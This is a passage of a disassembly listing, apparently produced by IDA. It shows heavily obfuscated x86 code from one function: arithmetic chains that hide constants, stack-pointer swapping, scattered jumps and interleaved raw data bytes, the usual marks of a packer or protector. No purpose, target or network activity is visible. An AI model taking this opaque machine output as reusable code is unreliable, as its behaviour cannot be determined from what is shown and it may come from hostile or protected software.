		dd 0C103E8C1h, 0BA5205E8h, 0FFDE24E2h, 0FF9A47E9h, 3E6C0FFh
		dd 803BC680h, 0D6F64DC6h, 0E901C680h, 78A0h, 0F7BD5550h
		dd 8930FC0Eh, 98B9E9E8h, 148B0000h, 3398E924h, 814E0000h
		dd 0F724D6EEh, 2EEC155h, 0E4EE814Eh, 819D7698h,	0BA658EEDh
		dd 81F50124h, 0BA658EC5h, 8E95E24h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A57B:				; CODE XREF: sub_542C3C+22621j
		mov	ebx, 4A624F1Ch
		xor	ebx, 34B552EDh
		sub	eax, ebx
		jmp	loc_5656C1
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 206E9h, 1C77FF00h, 419589Dh,	0A9E99C24h, 58FFFF8Fh
		dd 31243433h, 34332434h, 24248B24h, 7A45E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A5B5:				; CODE XREF: sub_542C3C+22756j
		add	esp, 4
		push	edx
		push	[esp+84h+var_80]
		pop	edx
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		jmp	loc_5659B7
; ---------------------------------------------------------------------------
aLHh		db '‹$$hH!',0
		dd 24348900h, 0EC83E689h, 243C8904h, 417D1068h,	5CF4E945h
		dd 0C4810000h, 4, 31243433h, 34332434h,	24D35C24h, 4DE99C24h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A5FF:				; CODE XREF: sub_542C3C+1A82Bj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	37B3h
		mov	[esp+84h+var_84], ebx
		pop	eax
		pop	ebx
		push	3A81h
		mov	[esp+80h+var_80], ebx
		push	esi
		jmp	loc_55C5C0
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0DA03h
; ---------------------------------------------------------------------------

loc_55A62C:				; CODE XREF: sub_542C3C+21D39j
		mov	word ptr [esp+84h+var_84], cx
		mov	cl, 29h
		jmp	loc_566BC9
; ---------------------------------------------------------------------------
		db 81h
		dd 514449F7h, 247C295Ah, 243C8B08h, 0C730E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A64A:				; CODE XREF: sub_542C3C+1406Fj
		not	edi
		jmp	loc_567612
; ---------------------------------------------------------------------------
aAiHn@		db '€ëÆhn@',0
		dd 24148900h, 0EE80C8B6h, 0DEE951C4h, 50000030h, 0FFBACEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A66D:				; CODE XREF: sub_542C3C+16DF3j
		pop	esp
		jmp	loc_562245
; ---------------------------------------------------------------------------

loc_55A673:				; CODE XREF: sub_542C3C+18AFAj
		sub	ebp, edi
		push	[esp+0B2h+var_B2]
		pop	edi
		add	esp, 4
		jmp	loc_554FFF
; ---------------------------------------------------------------------------

loc_55A684:				; CODE XREF: sub_542C3C+1250Ej
		push	esi
		push	edi
		push	56BF67F7h
		pop	edi
		sub	edi, 7FC9555Bh
		and	edi, 5AE641F7h
		dec	edi
		sub	edi, 0ED22B05Ah
		mov	esi, edi
		pop	edi
		xor	esi, 1F6D559Ch
		jmp	loc_555027
; ---------------------------------------------------------------------------
		db 0B8h, 4Bh, 67h
		dd 5A502196h, 24543158h, 48B5A04h, 58545024h, 6206E9h
		dd 15F28100h, 3143DA21h, 0A759E9D7h, 0C5830000h, 242C8704h
		dd 0EC83535Ch, 243C8904h, 7D4100BFh, 4E9ABB66h,	0EB81FDF0h
		dd 3D1C244Fh, 0BAE9FB01h, 0C1000012h, 0E28107EAh, 428C7762h
		dd 0EA81D2F7h, 0CC33F410h, 7D7FEF81h, 0D70130B7h, 7D7FC781h
		dd 0FF5A30B7h, 835D2434h, 0C78304C4h, 74FF5702h, 3C8B0424h
		dd 4C48324h, 5C24048Fh,	24042966h, 8E12E99Ch, 148BFFFFh
		dd 9534E924h, 1C8B0000h, 4C48124h, 88000000h, 535966CEh
		dd 0E0E91FB7h, 0D10000A1h, 2E0C1E8h, 58EBE9h, 4C48100h
		dd 0FF000000h, 3C8B2434h, 4C48324h, 0F965E952h,	0FF57FFFFh
		dd 0FF042474h, 3C8B2434h, 4C48324h, 1F7CE9h, 0F3815E00h
		dd 6B47509Ah, 41FA6857h, 62E91B3Dh, 810000DBh, 4C4h, 24048F00h
		dd 0FFDE13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A7A9:				; CODE XREF: sub_542C3C+1CAC7j
		mov	ebx, 2BED12FDh
		sub	ebx, 35B46D6h
		shl	ebx, 6
		xor	ebx, 75E26CF8h
		not	ebx
		push	edx
		push	ebx
		jmp	loc_5593B2
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5A0424h, 0B0E92404h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A7D3:				; CODE XREF: sub_542C3C+11A73j
		add	esp, 4
		pop	eax
		push	small 2D98h
		jmp	loc_55D310
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0C1D0F748h, 819504E8h, 1C5h,	0D1E2E900h, 348BFFFFh
		dd 4C48124h, 81000000h,	4C6h, 1AE95500h, 0F70000BAh, 7E9C1D9h
		dd 0E9C1D1F7h, 61E18106h, 81547B55h, 79511DE9h,	8BC80100h
		dd 0C483240Ch, 4C08304h, 8B240487h, 0E9502424h,	8262h
; ---------------------------------------------------------------------------

loc_55A838:				; CODE XREF: sub_542C3C+121B3j
		pop	eax
		jmp	loc_558FC0
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 0CE955E8h, 10000BFh,	0B0C281F2h, 81588E3Eh, 717588C2h
		dd 2685753h, 5F65F82Eh,	7223EF81h, 0C7816983h, 6EC14C8Eh
		dd 0FFBE03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A86D:				; CODE XREF: sub_542C3C+1FEC6j
		mov	[esp+70h+var_70], eax
		jmp	loc_565921
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 98h
		dd 5CFFFFDEh, 0E9240489h, 6C3Bh, 0F67146BBh, 8BDF8925h
		dd 30E9241Ch, 66000010h, 0E9240C8Bh, 0FFFFCD09h, 0A859E953h
		dd 478FFFFFh, 0D629E940h, 0EE81FFFFh, 4, 5C243487h, 50241C89h
		dd 4DE944B4h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A8BF:				; CODE XREF: sub_542C3C+11BB0j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+80h+var_80]
		pop	esp
		jmp	loc_562415
; ---------------------------------------------------------------------------

loc_55A8D7:				; CODE XREF: sub_542C3C+16875j
		push	dword ptr [esp]
		mov	ebp, [esp+0A2h+var_A2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_55F9F1
; ---------------------------------------------------------------------------
		dw 29B3h
		dd 0FF978DE9h, 14F755FFh, 0E9535D24h, 468Fh, 5B585B58h
		dd 5224048Bh, 86E9E289h, 0BE000075h, 0A8D50FB3h, 895EF701h
		dd 51B95FFEh, 315F330Fh, 0E1815EF1h, 49877D72h,	0FF988FE9h
		dd 24048FFFh, 2414895Ch, 0DE99C50h, 68FFFF8Ch, 0ADC288Dh
		dd 0F3BA5259h, 0E92BB123h, 48A6h, 24048B66h, 25EBE9h, 2424D200h
		dd 8BEAE99Ch, 0E980FFFFh, 0AF8E9D5h, 0BD550000h, 4, 895DEE89h
		dd 13E95EF3h, 880000A3h, 0C1885BD8h, 0E9585A58h, 348Ch
		dd 0E9240C8Bh, 0FFFFD3D1h, 2414F751h, 0E9E9D159h, 49E8h
		dd 8455E1BFh, 9722E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A9A6:				; CODE XREF: sub_542C3C+1F1F6j
		mov	[esp+0A6h+var_A6], edi
		mov	edi, 1C9348BBh
		sub	edi, 61A40B7Ch
		inc	edi
		neg	edi
		jmp	loc_565E8D
; ---------------------------------------------------------------------------
		dd 24048B66h, 2FF4E956h, 0F2800000h, 1EA8034h, 0F6D08850h
		dd 0C58851D0h, 3392E9h,	5EFEB800h, 172558C1h, 253B572Eh
		dd 1FC4342Bh, 0FFAEFFE9h, 0E9EF86FFh, 5D1Dh, 42474FFh
		dd 88D0E9h, 4E88300h, 5C240487h, 51242C89h, 0F41C2EB9h
		dd 0F7D9F756h, 3DB3E9D9h, 0EA810000h, 0FFB9F3h,	698EE9h
		dd 81E18900h, 4C1h, 4BF5700h, 29000000h, 0C875FF9h, 1C895C24h
		dd 6BB65224h, 0E964CE80h, 9E7Dh, 502E0C1h, 64CD709Ah, 24E9C529h
		dd 1000097h, 0B95155EEh, 1E304C93h, 52A6E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AA62:				; CODE XREF: sub_542C3C+21F0Dj
		add	eax, 4
		push	edx
		push	esp
		jmp	loc_555274
; ---------------------------------------------------------------------------
		dw 0C688h
		dd 51E9F588h, 8000000Ch, 0E9529EF2h, 0FFFFF94Fh, 2127B951h
		dd 0F18123BEh, 80C1062h, 231EF181h, 0E9C10D74h,	84E18107h
		dd 8105404Eh, 1B1E8BC1h, 44C5E920h, 148B0000h, 4C48324h
		dd 0B2E9EA89h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55AAB3:				; CODE XREF: sub_542C3C+1AA82j
		add	esi, ecx
		pop	ecx
		sub	edx, esi
		jmp	loc_567BA8
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 8Bh
		dd 0FAE9240Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AAC7:				; CODE XREF: sub_542C3C+1DE80j
		xchg	ecx, [esp+0AAh+var_AA]
		jmp	loc_5565CB
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 24148900h, 0A15DE9h, 7AE95A00h, 0FFFFFFE2h
		dd 5A042474h, 664AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AAF1:				; CODE XREF: sub_542C3C+24097j
		push	[esp+0AAh+var_AA]
		pop	esi
		add	esp, 4
		push	ebx
		jmp	loc_55C63E
; ---------------------------------------------------------------------------
		dw 88BBh
		dd 0BE59EE41h, 0AFA532F2h, 52D4EE81h, 0DE014725h, 8C44E9h
		dd 53573400h, 0EF8001B7h, 8BF800CDh, 0C481241Ch, 4, 5158C200h
		dd 0CB88D188h, 24148B59h, 4C481h, 0D8000000h, 0D8005B66h
		dd 0E9B9B353h, 1BD6h, 5524048Bh, 7F21E9h, 240C8700h, 8924248Bh
		dd 2682414h, 5A000000h,	0DDA8E9h, 48B6600h, 0B070E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AB6E:				; CODE XREF: sub_542C3C+24497j
		mov	esi, 4
		sub	ebx, 40C40B1Ch
		add	ebx, esi
		add	ebx, 40C40B1Ch
		pop	esi
		xchg	ebx, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]

loc_55AB88:				; CODE XREF: sub_542C3C+1CD00j
		push	ebx
		jmp	loc_558EB4
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 0C8904ECh, 4EC8324h,	0AF22E954h, 248BFFFFh, 0A963E924h
		dd 4401FFFFh, 5E580424h, 8904EC83h, 3BE92404h, 570000C3h
		dd 41F0968h, 0E7C15F74h, 0D3E7E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ABC6:				; CODE XREF: sub_542C3C+25002j
		mov	[esp+0AAh+var_AA], esi
		push	0EA3h
		push	esp
		pop	[esp+0B2h+var_B2]
		add	[esp+0AEh+var_AE], 4
		mov	esi, [esp+0AEh+var_AE]
		jmp	loc_5675AF
; ---------------------------------------------------------------------------
aQBH		db 'Q¹šB¿^h',0
		align 4
		dd 24048100h, 2FE07F75h, 14242C81h, 294D4C67h, 481240Ch
		dd 4C671424h, 75B9514Dh, 292FE07Fh, 8B04244Ch, 0C481240Ch
		dd 4, 83240C8Bh, 0BF5704C4h, 713362BEh,	81DFF747h, 8C2023F7h
		dd 9ACDE92Fh, 0C8290000h, 0EA245805h, 2434FF1Eh, 4C48359h
		dd 0B7268h, 24148900h, 0DDFDE955h, 0C481FFFFh, 4, 792CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AC55:				; CODE XREF: sub_542C3C+1E3ADj
		mov	ebx, 2AAF5C1Fh
		jmp	loc_55F66F
; ---------------------------------------------------------------------------
		db 89h
		dd 0A8B9240Ch, 29605D69h, 2434FFCFh, 5DC0E9h, 4C48100h
		dd 81000000h, 4C2h, 0A863E900h,	66640000h, 6602B60Fh, 6655BB68h
		dd 0E9240489h, 0FFFF88B8h, 0E9E38953h, 0FFFFBA99h, 0C107EAC1h
		dd 0EA8108E2h, 5881671Ah, 0AAE9D089h, 0BA000056h, 579D63BBh
		dd 0F706E2C1h, 4E2C1DAh, 2C7BC281h, 0B9517C6Ch,	40E9EC46h
		dd 0E959CA01h, 0FFFF8DF7h
; ---------------------------------------------------------------------------

loc_55ACD0:				; CODE XREF: sub_542C3C+1C257j
		add	ebp, 0AEA52645h
		mov	esi, ebp
		pop	ebp
		xor	edi, esi
		mov	esi, [esp+0AAh+var_AA]
		add	esp, 4
		shl	edi, 5
		push	4235h
		mov	[esp+0AAh+var_AA], ebx
		push	ecx
		push	27DE1E13h
		pop	ecx
		jmp	loc_563B91
; ---------------------------------------------------------------------------

loc_55ACF8:				; CODE XREF: sub_542C3C+222B5j
		add	esp, 4
		pop	[esp+0AAh+var_AA]
		mov	esp, [esp+0A6h+var_A6]
		mov	word ptr [esp+0A6h+var_A6], dx
		push	ax
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------
		dd 96E9E789h, 56000015h, 0FC5002BEh, 0ADEE811Eh, 464E244Ch
		dd 309BF681h, 0F3019B57h, 0FF9B8FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AD31:				; CODE XREF: sub_542C3C+1369Cj
		mov	ah, 9Bh
		jmp	loc_56618B
; ---------------------------------------------------------------------------

loc_55AD38:				; CODE XREF: sub_542C3C+1B173j
		pop	esp
		push	eax
		mov	eax, 150B7584h
		jmp	loc_55F9FB
; ---------------------------------------------------------------------------
		dd 0B3AFE957h, 0E9ADFFFFh, 0A7F7h, 0E903E3C0h, 0FFFFF682h
		dd 4617F381h, 0DA014C9Eh, 4B9515Bh, 3130195Ah, 240C8BCAh
		dd 104C483h, 0C5815AD5h, 410D0B8Ah, 4D55C581h, 8AE9721Bh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AD83:				; CODE XREF: sub_542C3C+10E86j
		add	eax, ebp
		mov	ebp, [esp+40h+var_40]
		jmp	loc_558060
; ---------------------------------------------------------------------------

loc_55AD8D:				; CODE XREF: sub_542C3C+1F644j
		push	esi
		jmp	loc_56164D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0AEC0683h, 0CBE9F189h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AD9F:				; CODE XREF: sub_542C3C+1E178j
		shr	ecx, 3
		push	edx
		mov	edx, 729276C3h
		push	ebp
		mov	ebp, 5BAC45B2h
		xor	edx, ebp
		pop	ebp
		sub	ecx, edx
		jmp	loc_559D96
; ---------------------------------------------------------------------------
aUsH		db '(ãéÅH',0
		dw 2800h
		dd 9C65E9D0h, 815FFFFFh, 4C7h, 2CBE5600h, 0D14C3533h, 4EE681EEh
		dd 0F72E9021h, 0C5E8E9D6h, 2BD0000h, 1000000h, 9702E9E8h
		dd 348BFFFFh, 4C48324h,	81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 74FF240Ch, 3E90424h, 8100009Dh, 0D0766FC1h
		dd 59CD09B8h, 136AED81h, 0C5815E93h, 0EED3F3B9h, 6DE9E901h
		dd 1FFFFDBh, 0EF815DEFh, 4025A9Dh, 5047E952h, 29660000h
		dd 81665FFBh, 665A40CBh, 4F29E381h, 0BE665666h,	0C4E9A09Eh
		dd 59FFFFDFh, 8B241C87h, 0C892424h, 7E7EE924h, 0BD550000h
		dd 0C1C0CB88h, 15DEF01h, 0C3815FFBh, 1DE4173h, 0C102EBC1h
		dd 0EBC103EBh, 0CB85005h, 2D3FBE16h, 3FC9461Eh,	577AC381h
		dd 0C30138CCh, 577AEB81h, 48B38CCh, 4C48324h, 15E9D901h
		dd 510000D4h, 0EC81E188h, 4, 52241C89h,	0BEE9CE88h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AEBB:				; CODE XREF: sub_542C3C+21B9Cj
		xor	ecx, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		or	edx, eax
		shl	edx, 1
		jmp	loc_56815D
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0C8BE5604h, 2976B768h, 0ED815EF5h, 3F812045h, 746AED81h
		dd 0EB017A09h, 0E9DA295Dh, 0A9B6h
; ---------------------------------------------------------------------------

loc_55AEEC:				; CODE XREF: sub_542C3C+15746j
		not	edi
		shr	edi, 8
		shr	edi, 3
		add	edi, 2185824h
		add	eax, edi
		mov	edi, [esp+0AAh+var_AA]
		add	esp, 4
		add	eax, edi
		sub	eax, 22F153Ch
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ebx
		push	ecx
		push	5CD14D0Eh
		push	[esp+0B2h+var_B2]
		pop	ecx
		add	esp, 4
		xor	ecx, 0E1E3DCFh
		push	eax
		mov	eax, 0C659C598h
		add	ecx, eax
		pop	eax
		jmp	loc_554689
; ---------------------------------------------------------------------------
		db 1
		dd 696852C8h, 89000003h, 62682404h, 0E9289F2Fh,	0D85h
; ---------------------------------------------------------------------------

loc_55AF48:				; CODE XREF: sub_542C3C+1D20Bj
		mov	edi, 0E6D0DBDh
		jmp	loc_56478C
; ---------------------------------------------------------------------------
		dw 0D305h
		dd 52559B3Ah, 4E6AB9BAh, 0DAF7423Ah, 17A3EA81h,	0D029C32Ch
		dd 90B2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55AF6D:				; CODE XREF: sub_542C3C+1EB32j
		sub	bl, al
		push	eax
		mov	al, 5Ch
		neg	al
		shl	al, 4
		jmp	loc_555696
; ---------------------------------------------------------------------------
		dd 5704C483h, 0B9515F54h, 4, 5059CF01h,	42BFE9h, 53B95100h
		dd 0E9291B6Eh, 0CF4Ah
; ---------------------------------------------------------------------------

loc_55AF9C:				; CODE XREF: sub_542C3C+1F61Aj
		mov	[esp+0B2h+var_B2], esi
		jmp	loc_556C83
; ---------------------------------------------------------------------------
		dd 0FB9EE95Ch, 34FFFFFFh, 8C15E924h, 0E1C1FFFFh, 0D2BB5307h
		dd 81096914h, 0FF6BFCC3h, 6FE38110h, 8114991Fh,	0C1EB18EBh
		dd 0DC63E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AFD2:				; CODE XREF: sub_542C3C+1F7FCj
		cmp	cl, al
		pushf
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_55AFDA:				; CODE XREF: sub_542C3C+14323j
		mov	edi, esp
		jmp	loc_5543DE
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0E9h
		dd 0F7E1D105h, 0B52FE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AFEE:				; CODE XREF: sub_542C3C+11A2Dj
		neg	esi
		jmp	loc_566A6F
; ---------------------------------------------------------------------------
		db 0BAh, 39h, 40h
		dd 0D2F7735Eh, 5105EAC1h, 0ECD966B9h, 59CA29E7h, 0C15AD329h
		dd 73E905EBh, 0C0FFFFF4h, 41E906EEh, 90000CEh, 87515EF1h
		dd 0F7562434h, 565E2414h, 2944E9h, 5FFD0100h, 9610F581h
		dd 9AE997BAh, 500002Bh,	18B97F14h, 83243C8Bh, 56E904C4h
		dd 830000B7h, 1C8904ECh, 7D2ABB24h, 0EB81496Ah,	4B78501Ch
		dd 687BF381h, 0F381384Bh, 68E9576Eh, 5708E3C1h,	8CB60FBFh
		dd 0EEFBE908h, 6659FFFFh, 81241C8Bh, 2C4h, 241C8B00h, 4C481h
		dd 0E3E90000h, 5700002Eh, 9F1A2168h, 2935E970h,	0C5880000h
		dd 8324048Bh, 0F9E904C4h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B0A7:				; CODE XREF: sub_542C3C+1B649j
		pop	eax
		jmp	loc_566A02
; ---------------------------------------------------------------------------

loc_55B0AD:				; CODE XREF: sub_542C3C+20934j
		mov	edi, 6E777EECh
		add	edi, 91888118h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+84h+var_84]
		xor	[esp+84h+var_84], ecx
		xor	ecx, [esp+84h+var_84]
		pop	esp
		add	esp, 4
		shr	ecx, 6
		push	7E07h
		mov	[esp+80h+var_80], ebx
		mov	eax, [esp+80h+var_80]
		push	ecx
		push	esp
		jmp	loc_561BB1
; ---------------------------------------------------------------------------

loc_55B0E0:				; CODE XREF: sub_542C3C+23B86j
		add	eax, ecx
		pop	ecx
		jmp	loc_55817F
; ---------------------------------------------------------------------------

loc_55B0E8:				; CODE XREF: sub_542C3C+10D4Ej
		mov	[esp+48h+var_48], ebx
		jmp	loc_562203
; ---------------------------------------------------------------------------
		dd 3374F281h, 0EA814ED5h, 0D5EDC5D4h, 815AD301h, 4C3h
		dd 0E3895300h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch
		dd 0FFD4D2E9h, 842AE9FFh, 0BB53FFFFh, 0F5D7FF53h, 1C8BDF29h
		dd 4C48124h, 1000000h, 83A7E9FDh, 0C4810000h, 2, 0E9D83166h
		dd 0A07Bh, 4EC81h, 1C890000h, 0E904B724h, 9D9Eh
; ---------------------------------------------------------------------------

loc_55B158:				; CODE XREF: sub_542C3C+19A5Fj
		add	al, dl
		add	al, 7Bh
		pop	edx
		sub	al, bl
		push	ecx
		jmp	loc_564E87
; ---------------------------------------------------------------------------

loc_55B165:				; CODE XREF: sub_542C3C+1764Ej
		push	[esp+80h+var_7C]
		pop	ebx
		pop	[esp+80h+var_80]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+7Ch+var_7C]
		jmp	loc_554B71
; ---------------------------------------------------------------------------

loc_55B185:				; CODE XREF: sub_542C3C+2353Fj
		or	edx, esi
		pop	esi
		push	eax
		mov	eax, 43CC0976h
		dec	eax
		add	eax, 1CDB7D75h
		sub	eax, 2B4607BCh
		sub	eax, 3E535057h
		jmp	loc_564AE2
; ---------------------------------------------------------------------------
		db 0B9h
		dd 140B6022h, 0AB95E953h, 4B7FFFFh, 0FE8FB151h,	0E9D9F6C1h
		dd 5721h, 5E08950h, 4, 8704C083h, 0DDE92404h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B1CF:				; CODE XREF: sub_542C3C+1BA49j
		add	edi, edx
		pop	edx
		pop	esi
		jmp	loc_562676
; ---------------------------------------------------------------------------

loc_55B1D8:				; CODE XREF: sub_542C3C+194E7j
		neg	ecx
		sub	ecx, 5D4A440Ah
		xor	ecx, 9C9C08Eh
		jmp	loc_555362
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BDCh, 4C481h, 88510000h, 59CB88E1h, 0C41E9h, 33255800h
		dd 50197161h, 0F7240C87h, 240C87D1h, 757D3558h,	630567FBh
		dd 897FFB55h, 0F50158C6h, 74FF555Eh, 2C8B0424h,	4C48324h
		dd 5C24048Fh, 2669E9h, 0B8ED8100h, 5F74DE4Dh, 897AE9h
		dd 2434FF00h, 592434FFh, 52E08950h, 4BAh, 0AAE95500h, 0B8000074h
		dd 7CC2326Bh, 0E956E8D1h, 8F68h, 4C481h, 53520000h, 0DE88EB88h
		dd 40AFE95Bh, 0E9510000h, 0FFFFD116h, 0A3B9840Fh, 0E9530000h
		dd 1870h
; ---------------------------------------------------------------------------

loc_55B288:				; CODE XREF: sub_542C3C+10C13j
		pop	esp
		mov	[esp+50h+var_50], ebx
		push	0F77h
		mov	[esp+54h+var_54], esi
		push	ebp
		push	esi
		mov	esi, 5F283EF5h
		mov	ebp, 5CDD78A2h
		xor	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_556F12
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28100h, 52000000h, 42474FFh,	1860E9h, 0C8B6600h
		dd 0EC835324h, 24248904h, 0FFB0C6E9h, 240C89FFh, 0CD0FE9h
		dd 4C78100h, 0E9000000h, 0C0F2h, 4B9h, 6BBE5600h, 81553808h
		dd 7743D9E6h, 0E94E4E27h, 3A08h, 8B24048Fh, 48F2424h, 24248B24h
		dd 4B30F66h, 39E99C24h,	5FFFFF82h, 4FC38143h, 8150C451h
		dd 8E08B8E3h, 0E3C3811Ah, 290BC12Ch, 94E95BDEh,	2D000039h
		dd 4B3021DEh, 3343D62Dh, 0DE68594Ah, 8900003Eh,	4682414h
		dd 0FF000000h, 835A2434h, 0D6E904C4h, 5300006Ch, 0BB7E9h
		dd 0D830AC00h, 131DE9h,	58C38900h, 0E95BDE21h, 48F5h, 932F3635h
		dd 0B7B6E968h, 72680000h, 0E9000024h, 8C0Eh
; ---------------------------------------------------------------------------

loc_55B380:				; CODE XREF: sub_542C3C+2421Bj
		shl	edx, 7
		xor	edx, 7DF22A06h
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 4A0E2498h
		or	edx, 45EF7645h
		not	edx
		jmp	loc_567396
; ---------------------------------------------------------------------------

loc_55B39F:				; CODE XREF: sub_542C3C+1CDA6j
		shr	eax, 3
		add	eax, 29796342h
		or	ebx, eax
		mov	eax, [esp+5Ch+var_5C]
		jmp	loc_568446
; ---------------------------------------------------------------------------
		db 0BBh, 0E6h, 55h
		dd 0CB877C35h, 0CB87D1F7h, 0B313EB81h, 6D2D2216h, 2D223138h
		dd 42DF0DF1h, 0F47BCC2Dh, 5D80176h, 76F47BCCh, 0DF1BA52h
		dd 8E942DFh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B3E3:				; CODE XREF: sub_542C3C+13A61j
		mov	[esp+84h+var_84], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_558D24
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 474B7705h, 58D82D15h, 34FF1079h, 2434FF24h, 5E2434FFh
		dd 59D968h, 241C8900h, 0C381E389h, 4, 4C381h, 1C870000h
		dd 0C4835C24h, 4EC8104h, 0E9000000h, 0FFFF9906h
; ---------------------------------------------------------------------------

loc_55B430:				; CODE XREF: sub_542C3C+10FE7j
		pop	edi
		jmp	loc_5568BE
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 423CAD2Dh, 0D0015A1Dh, 0CA14512Dh, 24148B0Bh, 81E68956h
		dd 4C6h, 4BD5500h, 50000000h, 0C90C9BB8h, 0A4F6E93Eh, 5B66FFFFh
		dd 5AE91F04h, 0E9000048h, 0FFFF80DCh, 4BEh, 68E5E900h
		dd 0BB530000h, 4, 0FF9E89E9h, 5B685EFFh, 0E9000036h, 1C72h
; ---------------------------------------------------------------------------

loc_55B490:				; CODE XREF: sub_542C3C+1231Cj
		mov	eax, 505236DBh
		jmp	loc_55F125
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 1D590095h, 54F4EB81h, 0C3811686h, 0FFFFFFFFh, 6811EB81h
		dd 0C381100Ah, 982FA99Ch, 34FFD801h, 0C4835B24h, 5C19E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B4C6:				; CODE XREF: sub_542C3C+221AAj
		not	ebx
		shl	ebx, 4
		push	7CAh
		mov	[esp+90h+var_90], eax
		mov	eax, 7A8E163Ch
		jmp	loc_561E1C
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 5C010000h, 8B5B0424h, 49E92414h, 5A0000A9h, 0FF9647E9h
		dd 241C87FFh, 0E924248Bh, 0FFFFCFAEh, 0BCE9E289h, 350000AFh
		dd 995E776Fh, 158C289h,	0AB02E9D0h, 47090000h, 24048B1Ch
		dd 0E904C483h, 0FFFF8028h, 0CB2AA805h, 0E8015F1Bh, 3F5ED705h
		dd 15B5D7Bh, 4EC81D8h, 89000000h, 10E92434h, 51FFFFFEh
		dd 0EA8801B5h, 0A6EBE9h, 5FFA8900h, 15AD001h, 1FBE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B55A:				; CODE XREF: sub_542C3C+22A21j
		push	4A28h
		mov	[esp+94h+var_94], esi
		mov	esi, 4E9E1F61h
		jmp	loc_560023
; ---------------------------------------------------------------------------

loc_55B56C:				; CODE XREF: sub_542C3C+15433j
		neg	eax
		add	eax, 0CF8DB730h
		add	ebx, eax
		jmp	loc_5539CB
; ---------------------------------------------------------------------------
a4biXsht	db '4BˆÂXéHT',0
		align 4
		dd 2404335Fh, 33240431h, 0D3E92404h, 810000C8h,	68B67CE9h
		dd 0E6EB8195h, 81052555h, 705499C3h, 55CB297Fh,	87546ABDh
		dd 1C5833Bh, 57F1C581h,	0C8E9683Ah, 810000AEh, 4C3h, 70B6800h
		dd 14890000h, 0E3895324h, 4B951h, 0CB010000h, 4EB8359h
		dd 5C02E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B5DD:				; CODE XREF: sub_542C3C+1E0DBj
		mov	ecx, 558E4A97h
		xor	ecx, 2A154489h
		shr	ecx, 5
		shr	ecx, 6
		sub	ecx, 0FF35Dh
		add	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_56003C
; ---------------------------------------------------------------------------
		db 8, 4, 24h
aSP		db 'œéÑ',0
		align 2
